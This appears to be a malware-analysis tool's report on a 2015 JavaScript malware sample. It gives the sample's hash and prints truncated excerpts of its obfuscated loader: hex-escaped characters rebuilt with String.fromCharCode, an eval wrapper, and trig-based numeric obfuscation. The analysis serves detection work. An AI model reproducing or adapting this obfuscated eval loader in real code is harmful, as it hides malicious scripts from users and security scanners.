Suspicious 80% javascript-malware-collection Download

20151214_73459147e0de8c97d3656c92d74f1aa1.js

Heavily obfuscated eval with string reconstruction

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression
SHA-25627fb69640c2e295107d0270c17043a89103db0060c1d04ba8465e0d44a02b6db

Evidence

Single-line packed JavaScript loader profile lines 1–2
1var Y=new Array();
2Z(Y,"\x31");Z(Y,"\x53");Z(Y,"\x5d");Z(Y,"\x55");Z(Y,"\x66");Z(Y,"\x5d");Z(Y,"\x26");Z(Y,"\x55");Z(Y,"\x54");Z(Y,"\x78");Z(Y,"\x60");Z(Y,"\x53");Z(Y,"\x3f");Z(Y,"\x46");Z(Y,"\x57");Z(Y,"\x66");Z(Y,"\x36");Z(Y,"\x4e");Z(Y,"\x4f");Z(Y,"\x42");Z(Y,"\x58");Z(Y,"\x71");Z(Y,"\x71");Z(Y,"\x4b");Z(Y,"\x29");Z(Y,"\x28");Z(Y,"\x22");Z(Y,"\x63");Z(Y,"\x74");Z(Y,"\x30");Z(Y,"\x4f");Z(Y,"\x29");Z(Y,"\x2f");Z(Y,"\x36");Z(Y,"\x50");Z(Y,"\x4b");Z(Y,"\x4c");Z(Y,"\x5e");Z(Y,"\x44");Z(Y,"\x28");Z(Y,"\x66");Z(Y,"\x57");Z(Y,"\x22");Z(Y,"\x74");Z(Y,"\x3f");Z(Y,"\x2a");Z(Y,"\x24");Z(Y,"\x2b");Z(Y,"\x69");Z(Y,"\x71");Z(Y,"\x3f");Z(Y,"\x4d");Z(Y,"\x22");Z(Y, …
Builds characters with String.fromCharCode line 4
4:242… 40],Y[41],Y[42],Y[43],Y[44],Y[45],Y[46],Y[47],Y[48],Y[49],Y[50],String.fromCharCode(10),Y[51],Y[52],Y[53],Y[54],Y[55],Y[56],Y[57],Y[58],Y[59],Y[60],Y[61],Y[62],Y[63],Y[64],Y[65],String.fromCharCode(13),Y[66],Y[6 …
Calls JavaScript toString conversion method lines 6–8
6:35… yPZYKr,ZQydknVB){jrZW=parseInt(QRkhEytMYwh,AvgMEPmyPZYKr);DIOzI=jrZW.toString(ZQydknVB);return DIOzI;}function qKKciBlMKUOlPJA(NYnamxfkovETphxtP,KiYomtktvWiOoOlWoHNiPpCdzcBHEuWAwh,AOvgnEdQvtMlBeQANGZFtEgtncbRyybRrxR){eval(NYnamxfkovETphxtP)}
7function qKKciBlMKUOlPJA(NYnamxfkovETphxtP){eval(NYnamxfkovETphxtP)}
8function rINgfUcAPCAUcVALIubthogIJrTslEFxDUqazcDYqKupg …
Calls JavaScript split() lines 9–11
9:155… ohkVbenFnpQqPt);}
10function KGktQFwHRsD(fBTHzdBM,NYjdBD){return fBTHzdBM.split(NYjdBD)}
11var U=[];U[0]=Y[660];U[1]=Y[661];U[2]=Y[662];U[3]=Y[663];U[4]=Y[664];U[5]=Y[665];U[6]=Y[666];U[7]=Y[667];U[8]=Y[668];U[9]=Y[669];U[10]=Y[670];U[11]=Y[671];U[12]=Y[672];U[13]=Y[673];U[14]=Y[674];U[15]= …
Numeric sine-square obfuscation expression lines 13–15
13:13… ,C];
14var yCeYgDnQr=[];
15function TdQsbuPxGieERmwYt(kfTHM){dUFnTXVKPIa= Y[1763];for(oXduCphslwS=Math.round((Math.pow(Math.sin(430), 2) + Math.pow(Math.cos(430), 2) - 1)); oXduCphslwS < (288+878)/583; oXduCphslwS++) {yCeYgDnQr[oXduCphslwS]=Math.round((Math.pow(Math.sin(774), 2) + Math.pow(Math.cos(774), 2) - 1)); while(true) { if(yCeYgDnQr[oXduCphslwS] > kfTHM[oXduCphslwS].length-(13+781)/794) { break; } if (GaILeTf(sqctH(kfTHM[oXduCphslwS][yCeYgDnQr[oXduCphslwS]],(6588+76) …

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.